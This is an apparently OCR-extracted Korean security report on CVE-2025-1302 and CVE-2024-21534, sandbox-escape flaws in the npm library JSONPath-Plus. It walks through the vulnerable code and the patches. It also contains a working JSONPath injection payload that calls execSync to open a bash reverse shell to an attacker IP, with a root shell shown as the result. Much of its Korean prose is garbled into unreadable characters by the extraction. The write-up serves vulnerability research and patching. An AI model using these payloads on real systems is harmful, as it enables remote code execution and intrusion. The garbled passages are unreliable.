Research & Technique

JSONPath-Plus RCE #|2E(CVE-2025-1302)
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JSONPath-Plus = 2LEAA
npm?20flA JSONPath-Plus
O7He| THZ|X[0IM AR Bl AS =eld —1‘— %1‘21'1}.

jsonpath-plus

10.3.0 = Public - Published 25 days ago

@ Readme ﬁ Code a 3 Dependencies & 860 Dependents W 45 Versions
Dependents (860) Install
» npm i jsenpath-plus L]

@beforeyoubid/serverless-offline evari-quotes-api tealeaf-object

client-node-fixed-watcher @restlesstech/test-making-cucumber-api Repository
@restlesstech/test-making-cucumber-api @tsart/alchemy-json 4 github.com/s3u/JSONPath
yonderbox-graphqgl-mongodb-adapter @f5devcentral/f5-fast-core Homepage
@graphgl-mesh-plus/batch-and-match @connorads/serverless-offline jsonpathmap & github.com/s3u/JSONPath

moneytrackio-conseiljs @ts4/micro @barreljs/core authzyin.js identitynow-sdk
+ Weekly Downloads

@lpezet/etl-js @dataparty/api jsonpath-fetch @tuxrampage/k8s-client-node 4,766,208 — Yy

ZX: npmjs.com

32 1. JSONPath-Plus A2 S

2025 4 2 & 15 & JSONPath-Plus OlA 37HE &4 IZE AHA FAFE™(CVE-2025-1302)2 OH
2024 H 10 €, 274l Node.js 2 vm?® EE9| sandbox* ©EZ QIst ¥ IS Al F|FY (CVE-
2024-21534)9| Hot mix| & S!2[AE J|EH EZ0| R2=0f LMSICE @32 st FItEQl
Fo™o| SHE otE, A8 B9 mHF[X[I F ket BTl JSONPath-Plus & At&3sta QU=X| =0I0|
ZQIICE

_{

o
4>
30
rr
Jm
[>
Im
o
>
ol
Ot
rr
5
oz
09k
H
AN
1=
),E

T JSON(JavaScript Object Notation): 7|-gt #4292 0|20{Zl C|0|EE FYctr| s ¢lzto] gf
2 npm: GitHub | Zt2|AtRl npm Inc.0llM RX| &2[sh= JavaScript AOE <ot W7|X| 2H2|xt
3 vm: 7HAF HAl HEIAE LHO|A JavaScript 2ES HIMY ot MlSt= Nodejs 9| 7|12 ZE
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CVE-2025-1302 Of| F|efst AT EQ0| HM2 C31t 2Tt
SIW 72 3ot BH
JSONPath-Plus <10.3.0
W HIAE 3 74 H
HAE 2HHAS =6 CVE-2025-1302 9| S 1tHS ATHEL}
e e
JSONPath-Plus v10.2.0
I|six}
(10.233.3.66)
Kali Linux
SAX}
(10.233.78.36)
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Step 1. A 1M

OJsiXt PC off F¥st M| JSONPath-Plus € At&%te ZHttet @l MHE FESICH CVE-2025-1302
FoFd EIAEE QI3 DIUE2 of2f EQSTLab 2| GitHub Repository OflA &tQlgt 4= QIC},

« URL: https://github.com/EQSTLab/CVE-2025-1302

CtE BZHOIZ docker O|O|X|E UESH 7| AdTiCt,
> git clone https://github.com/EQSTLab/CVE-2025-1302.git
> cd CVE-2025-1302
> docker build -t jsonpath:10.2.0 .

> docker run --rm --name jsonpath -p 3000:3000 jsonpath:10.2.0

HA IE Ml S0 FAet JSONPath-Plus & ARE 3¢ M7t =& Ag =eld & ULk
= -
Please enter a search name Search
Name Content
299 We are EQST Team.
Ethan Keep pushing forward, no matter what!
Olivia Happiness is a choice, so choose it every day!
Lucas Believe in yourself and anything is possible.
Sophia Kindness is free. sorinkle it evervwhere! v

3% 3. mfsHxt & mofx|
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https://github.com/EQSTLab/CVE-2025-1302

Step 2. FH HAE

Fefot Mo AM 7|50 JSONPath®ERIAIZ MRSt 34 7ts GRE =elg =+~ UCL J& 4 2f
#0| 299 o HM Zuet JSON H|o|E{oflA Z[&2[($)oll U= 299 9 22 F=5H= JSON-Path
ARl $.290 M ZAuIt SLSICE.

A
> ARV 2
>

name content name content

299 We are EQST Team 299 We are EQST Team.

aqq | Play Animations | K | Play Animations

a3l 4. 24 s o ol

SAXE LfBiAt ME Q| Eots 2S5t 2ol of2fet Z0] 29|l JSONPath EXHAIS AESiCt.

$..[2(EQST="[['constructor']][['constructor']]("this.process.mainModule.require('child_process').
execSync( bash —c ‘bash >& /dev/tcp/<SHXL_IP>/<3AXt_PORT> 0>&1'")");:EQST())]

Request Response m = n

Pretty Raw Hex ® \n =

POST /query HTTP/1.1

Host: localhost:3000

Content-Length: 189

Accept-Language: en-US

User-Agent: Mozilla/5.0 (Windows NT 10.8; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Content-Type: application/json

Accept: #/*

Origin: http://1@.233.3.66:3000

Referer: http://10.233.3.66:3000/

) Accept- Encodlng gnp, deflate, br

O~ O L N

[ e

'j_{

"path”:

"$..[?2(EQST=""[["constructor'J1[['constructor']J(\"this.process.mainModule.require( " child_process").execSync( bash —c ‘ba1
>& /dev/tcp/10.233.78.36/4444 0>81°)\");FQSTO)]"

12l 5, oto|xol JSONPath HEA!

0% BRI APt US Soff TBHKE AHolA §1H AES A 4 Uk,

uid=0(root) gid=0(root) groups=0(root)
pwd
Jusr/src/app

i

a2 6. mHR} M 2 &

® JSONPath: JSON OflA| HIO[EIS 24, Hgtstm MeEimoz x&sty| glot olof 74|
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Step 1. CVE-2024-21534 £
20243 102 11 24l CVE-2024-21534 I%H2 JSONPath EHA| LI0IN 2l2| JavaScript
TES U LML

1) JSONPath E34! X2| 21

JSONPath-Plus £ JSONPath EHAIZ diAstn, JSON C2HE g
FEDIC} MYHR2 JSONPath E9142 JSONPath-Plus LiS0{A o2t 2

pAi=X
HA =

EHAC Aol e 3
S ol wet KelEt.

JSONPath-Plus

[ 1. JSONPath | FHA 2] AN

[ 2. evaluate J

[ 3. trace J

[ 4. eval J

a3l 7. JSONPath E8Al x2| &M

(1) JSONPath
JSONPath g=9| &2l= LISt &L},

const result = JSONPath(
[options, ] // options : Of2f QIS K= SHHO| HMELY W AL
path, // path : JSONPath HEoi4l
json, // json : EHAQ| 2} F **3* JSON ZHA|
callback, // callback : &= jé:'ﬂl' Xelst7| fI%t callback &4
otherTypeCaIIback /] otherTypeCallback : JSON *9|Df7r II°JE|II Q= AR A2

¢l g0l M2t path Ol= JSONPath HYIAE, json Ol &Y JSON HIO|HE 2tz A

JSONPath &40 MESHCt,
app.post('/query', (req, res) => {
const { path } = req.body;
if (!json || !path) {
return res.status(40@).json({ error: 'Both json and path are required.' });

}

try {
[const result = JSONPath({path, json});|

12l 8. JSONPath E#Alnl JSON COJE| ME
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E‘”OlE'I JSONPath E°1*|0| path = args% %‘5” evaluate °|'A§ x-| I- ||:|..

1514
1549
1550
1551
1552
1553
1554
1555
1556
1557
1558

function JSONPath(opts, expr, obj, callback, otherTypeCallback) {
if (opts.autostart !== false) {
const args = {
path: optObj ? opts.path : expr
¥
if (loptobj) {
args.json = obj;
} else if ('json' in opts) {
args.json = opts.json;
s

lconst ret = this.evaluate(args);l

32l 9. evaluate &4+2 HEL|= args

(2) evaluate

evaluate

s HEE2 HAHME toPathArray &2 Sl HIE HIO|E|Z HESHH, O[S _trace

= METIC

1567 JSONPath.prototype.evaluate = function (expr, json, callback, otherTypeCallback) {
1579 json = json || this.json;
1580  [expr = expr || this.path;]
1581 > if (expr && typeof expr === 'object' && !Array.isArray(expr)) {--
1601 }
1602 currParent = currParent || null;
1683 currParentProperty = currParentProperty || null;
16e4 > if (Array.isArray(expr)) {--
1606 }
1607 > if (lexpr &% expr !== '' || !json) {--
1609 }
161€ [const exprlList = ]SONPath.toPathArray(expr);]
1611
1612 > if (exprList[@] === '$' &&% exprList.length > 1) {--
1614 }
1615 this._hasParentSelector = null;
1616 const result = this._trace(exprlList, json, ['$'], currParent, currParentProperty, callback).filter(function (ea) {
1617 return ea && !ea.isParentSelector;
1618 1;
32l 10. evaluate &4 LHEC| EHA X2
(3) _trace
_trace &==0iM= JSON HIO|HE EMMSHH HIE CIO|HE =XAHQZ _eval &2 TEHTI]
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1682 JSONPath.prototype._trace = function (expr, val, path, parent, parentPropName, callback, hasArrExpr,
1697 const loc = expr[@],
1698 x = expr.slice(1);
1699
1720 » if ((typeof loc !== 'string' || literalPriority) && val && Object.hasOwn(val, loc)) {--
1768 } else if (loc.indexOf('?(') === @) {
1769 // [?(expr)] (filtering)
1770 > if (this.currEval === false) {--
1772 }
1773 const safelLoc = loc.replace(/ \?\((.*?)\)%/u, '$1');
1774 // check for a nested filter expression
1775 const nested = /@.2(["?1*)LL"TCNPPANC.*¥2\) ) (1. \)\])[\]"]/gu.exec(safeLoc);
1776 > if (nested) { -
1787 } else {
1788 this. walk(val, m => {
1789 ’if (this._eval(safelLoc, val[m], m, path, parent, parentPropName)) {I
1798 addRet(this._trace(x, val[m], push(path, m), val, m, callback, true));
1791 }
1792 1
1793 }
33 1. _trace = LHF2| HAHA X2
(4) _eval
_eval g0l M= HEH2 O|0|E|E sandbox LIF0A it
1944~ JSONPath.prototype._eval = function (code, _v, _vname, path, parent, parentPropName) {
1954 const scriptCachekKey = this.currEval + 'Script:' + code;
1955 if (!JSONPath.cache[scriptCacheKey]) {
1956 let script = code.replaceAll('@parentProperty', '_$_parentProperty').replaceAll
('@parent’, '_$_parent').replaceAll('@property', '_$%_property').replaceAll('@root’,
' $ root').replaceAll(/@([.\s)[])/gu, '_$_v$1');
1957 > if (containsPath) {--
1959 }
1960 if (this.currEval === 'safe' || this.currEval === true || this.currEval === undefined)
{
1961 IJSONPath.cache[scriptCacheKey] = new this.safeVm.Script(script);
1962 > } else if (this.currEval === 'native") {---
1964 > } else if (typeof this.currEval === 'function' && this.currEval.prototype && Object.
hasOwn(this.currEval.prototype, 'runInNewContext')) {--
1967 > } else if (typeof this.currEval === 'function') {--
1971 » } else {--
1973 }
1974 }
1975 try {
1976 [return JSONPath.cache[scriptCacheKey].runInNewContext(this.currSandbox)4

3% 12, _eval &5 LTS B2 K|

O] i safeVm2 W& vm ZES S2{2tM AtEsiCt

3  var vm = require('vm');

693  JSONPath.prototype.vm = vm;
694 JSONPath.prototype.safeVm = vm;
695 const SafeScript = vm.Script;

12l 13. safeVm Moi
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"EQST =this.constructor.constructor(\"process.mainModule.require('child_process').execSync('t
ouch /tmp/EQST.txt')\");EQST()"

¢l ZE F this = Object ¢! sandbox € 2|0|5lH, this.constructor = Object 2| WAXIE 7t2|ZICt

MMXF= Function 2 A&EE7| R0 this.constructor.constructor & Object.constructor 2 Sot
Function MAMXIZ 0|2 S8 MEL SH4HE HO|SIHLE Alst 2 QICt,

-

oAl ZEE HASIH sandbox HE = SZ T Mol Q| miUS Mgt = UCf.
Name -

2 ) vun

@ sbin->usr/sbin

> B srv
> sys
vy tmp
(3 EQST.txt

> 3 node-compile-cache

2| 14. sandbox ©Z 0A| 2= A A

-_
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Step 2. CVE-2024-21534 Hot XX|
st H|oH2 JSONPath-Plus 9.0.0 HEOIA XS LMSHOM, X|&xol wot mX|e 2|7}t o|=iFict
o] BFHOIM = 9io| WOk Iix|7t WP FR HOF FX|S ofzf 37HX|9 2Lt

1) A3y
LHE vm £ 7|& AISSIE 2o otMst vm & AMSSI=E HZATICHL EHA AH¥ Aloj= JSON
ClIOIE{0l| EXHS= 7|IX| HBdt= F&20| F7HICE

2064 JSONPath.prototype.safeVm = {

2065 [Script: SafeSCript]

2066 };

1356 class SafeScript {

1360 constructor(expr) {

1361 this.code = expr;

1362 this.ast = jsep(this.code);

1363 }

137e runInNewContext(context) {

1371 const keyMap = {

1372 ...context

1373 };

1374 return SafeEval.evalAst(this.ast, keyMap);

1375 }

1376 }

1377

12l 15.CVE-2024-21534 2 Hot mjx] 1

S 2ot IfX|= sandbox HFES2 %1 keyMap Of HOL|X| 42 £Mof MIsk= A2 YX|SHCt O|uf
keyMap 2 Object & &&22 F| JSON CIO|E{7} Z8El context 2K|Ql £d2 FARH Ho|EC
Ja{Lt o] 2PN keyMap Ol bind, apply, call 2t Z2 Object 2| L& &7t Zetef 0|2 0|2
34 &+ AUCH

o= T

2) Object LHE &4 HIAH

0| Object 2| LHE 2 Qlgt 235 7| /8l keyMap 2| 421 EAlS HFMCL.
1376 runInNewContext(context) {
1377 // “Object.create(null)” creates a prototypeless object
1378 lconst keyMap = Object.assign(Object.create(null), context);l
1379 return SafeEval.evalAst(this.ast, keyMap);
1380 }
1381 }

1% 16.CVE-2024-21534 F2 Hol IjX] 2

prototype®0| U= MER gl ZHHE Mdot T, context ZK|2 £HZ SASH= WAOE keyMap 2
MoA gtrlo] £HME[RUCE 0|2 Edl keyMap 2 Object 9] LHZ &4-E EESHK| toOZ LA a5 E3t

f3[7t 27ts3tet.

8 prototype: JavaScript Lj S ZiH|o| 25 HES st A9 K|
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£ = constructor, __proto__ o Z2 ZXIES U7| Q8 SMB|AE J|Ht

1295 1298
1296
1297
1298
1299 1299

1388 1388
1381 1381
1382
1383
1384
1385
1386
1387

jzep.addlLiteral(’ undefined', undefined);

const BLOCKED_PROTC PROPERTIES = new Set(['constructor', '_ proto_ ', '_ defineGetter_ ', '__ﬁefineSetter__']);]

const SafeEwal = {

evalMemberExpression{ast, subs) {

if (ast.property.type === 'Identifier' && ast.property.name === 'constructor® || ast.object.type === 'Identi

‘constructer®) {

throw new Error("'censtructor® property is disabled");
%
const prop = ast.computed ? SafeEval.evalAst(ast.property) // “object[property]”
: ast.property.name; // “object.property’ property is Identifier
const obj = SafeEval.evalist(ast.object, subs);
if {obj === undefined || obj === null) {
throw TypeError( Cannot read properties of ${obj} (reading "${prop}')");
I

if (!Object.hasOwn(obj, prop) &% BLOCKED_PROTO_PROPERTIES.has{prop)) {
throw TypeError( Cannot read properties of ${obj} (reading "${prop}')} );
¥

12l 17. CVE-2024-21534 2| £ Hot mjx| 3

s X[ OFX|2fQ= CVE-2024-21534 F|tF9| Hot miX|7t 25 t=ICH

Step 3. CVE-2025-1302 22 4y
J2{Lt CVE-2024-21534 FEe| 2ot IHK|E 22|t CVE-2025-1302 F|2f&E0| SIH=[RICE.

= =
SUEAES

prop 2| ZEH

ZAtSH=  BLOCKED_PROTO_PROPERTIES.has(prop)oilA|  HMEHE2  C|0[E{ 2

[}
oS ASHS
2lg Sasict

evalMemberExpression(ast, subs) {

const prop = ast.computed ? SafeEval.evalAst(ast.property) // “object[property]”
. ast.property.name; // “object.property’ property is Identifier

X

if (ob3

const obj = SafeEval.evalAst(ast.object, subs);
=== undefined || obj === null) {
throw TypeError( Cannot read properties of ${obj} (reading '${prop}') );

}

if (!Object.hasOwn(obj, prop) && BLOCKED_PROTO_PROPERTIES.has(prop)) {
throw TypeError( Cannot read properties of ${obj} (reading '${prop}')’);

}

}J

const result = obj[prop];
if (typeof result === 'function') {
return result.bind(obj); // arrow functions aren't affected by bind.

return result;

CVE-2024-21534 FofFo|| Ar2El #oiAl2 Ch3at ZCt

$[?(EQST=this.constructor.constructor("process.mainModule.require('child_process').execSync
('[0SEZEN])"),EQST())]

EQST insight | 10



2 FHA M Al prop Ol= £49| 0|2 constructor 7t XMEECE constructor £ SHE|AE0
ESE0] 7| miE0ll, CVE-2024-21534 Ol AtEE HWAZ2 BLOCKED_PROTO_PROPERTIES.
has(prop)?t true & Hheksll ZE{ZIEICY,

ro

BLOCKED_PROTO_PROPERTIES.has(prop) =S ?2(et #2342 C23t ZCt

$..[?(EQST="[['constructor']][['constructor']]("this.process.mainModule.require('child_process').
execSync(*0S B&E0{")");EQST())]

ele] ®eiAl & "[['constructor]][['constructor']] £20M prop Oz £42| 0|F¢! ['constructor]7t
MEE|H HHE CO|E 2 QIAISICL

ZXAE HO0|HZ O|R0{Tl S| AE= HiED} H|W Al false & Hhetsl TE{ZE|X| Q=LY

2024 HHA 2025 H&Al

""[['constructor']][['constructor']]

28 7%= [ ].constructor.constructor
prop constructor ["constructor"]
typeof(prop) string object
BLOCKED_PROTO_PROPERTIES.has(prop) true false

5. [2(EQST="[[constructor ][ constructor]]{"this_process.mainModule.require('c

\

name content =
299 We are EQY nc -1 -p 4444
Ethan Keep pushi :L(.j .
uid=0(root) gid=0(root) groups=0(root)

Olivia Happiness {@ai|

RN /Usr/src/app
Lucas Believe in I
Soohia Kindness is free. sorinkle it evervwhere!

13 19. CVE-2024-21534 E¢t IX| 23]

EQST insight | 11



W LS diot

2025 2 15 Y CVE-2025-1302 #[fF0|| tiet =ot mix|7F S7HHY W82 Ch3at ZCt

evalMemberExpression (ast, subs) {

const prop = ast.computed
? SafeEval.evalAst{ast.property) // “object[property]”
: ast.property.mame; f/ ~object.property” property is Identifier
const prop = String(
Jf NOTE: “String{value)” throws error when
/f value has overwritten the to5tring method to return non-string
ff i.e. “walue = {tostring: () => [1}
ast.computed
» SafeEval.evalfst{ast.property) // “object[property]’
1 ast.property.name // “object.property’ property is Identifier

WE

33 20.CVE-2025-1302 Hot %] LfE

CVE-2025-1302 FAUM2 ZXAIE0| ofl CHE XIEHE 7HXl prop Off CHot HI™EAXQI HEC=E Qlsl
BLOCKED_PROTO_PROPERTIES.has(prop)0| 23|={1, 0|2 9X|st7| I8 prop o HO| IFEOfA
=AIE XRYEE Htesh= String() ©4E ARSI prop O A EXEE XHEEE  EX[SHY
BLOCKED_PROTO_PROPERTIES.has(prop)2| HAMMOl ZZ0| o|2o{Fn Zmt 3ol true 7t E[0f
F ™ =X[7F et=E|ALCE

Ofeff = HQt IHX|E ME37| M=2Q| prop o HELE.

ESTES] ESVES
prop ["constructor’] constructor
typeof(prop) object string
BLOCKED_PROTO_PROPERTIES.has(prop) false true

ofot HT2| JSONPath-Plus E At Y &E<

e A IS MY F|opEo| EXsEZ IX|7H HEE
HZ(v10.3.0)22 H|0|EE TIAHHOF Bt}

—
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- CVE-2025-1302:
https://github.com/advisories/GHSA-hw8r-x6gr-5gjp
https://nvd.nist.gov/vuln/detail/CVE-2025-1302

« CVE-2025-1302 commit:
https://github.com/JSONPathPlus/JSONPath/commit/30942896d27cb8a806b965a5ca9ef9f68
6be24ee

« CVE-2025-1302 PoC: https://gist.github.com/nickcopi/11ba3cb4fdee6f89e02e6afaec8db6456

« CVE-2024-21534: https://github.com/advisories/GHSA-pppg-cpfq-h7wr

« CVE-2024-21534 Comparing changes:
https://github.com/JSONPath-Plus/JSONPath/compare/v9.0.0...v10.1.0
https://github.com/JSONPath-Plus/JSONPath/compare/v10.1.0...v10.2.0

« CVE-2024-21534 commit:

https://github.com/JSONPathPlus/JSONPath/commit/73ad72e5ee788d8287dea6e8283a3f16f
63c9eb8

« npm: https://www.npmjs.com/package/jsonpath?activeTab=dependents

EQST insight | 13



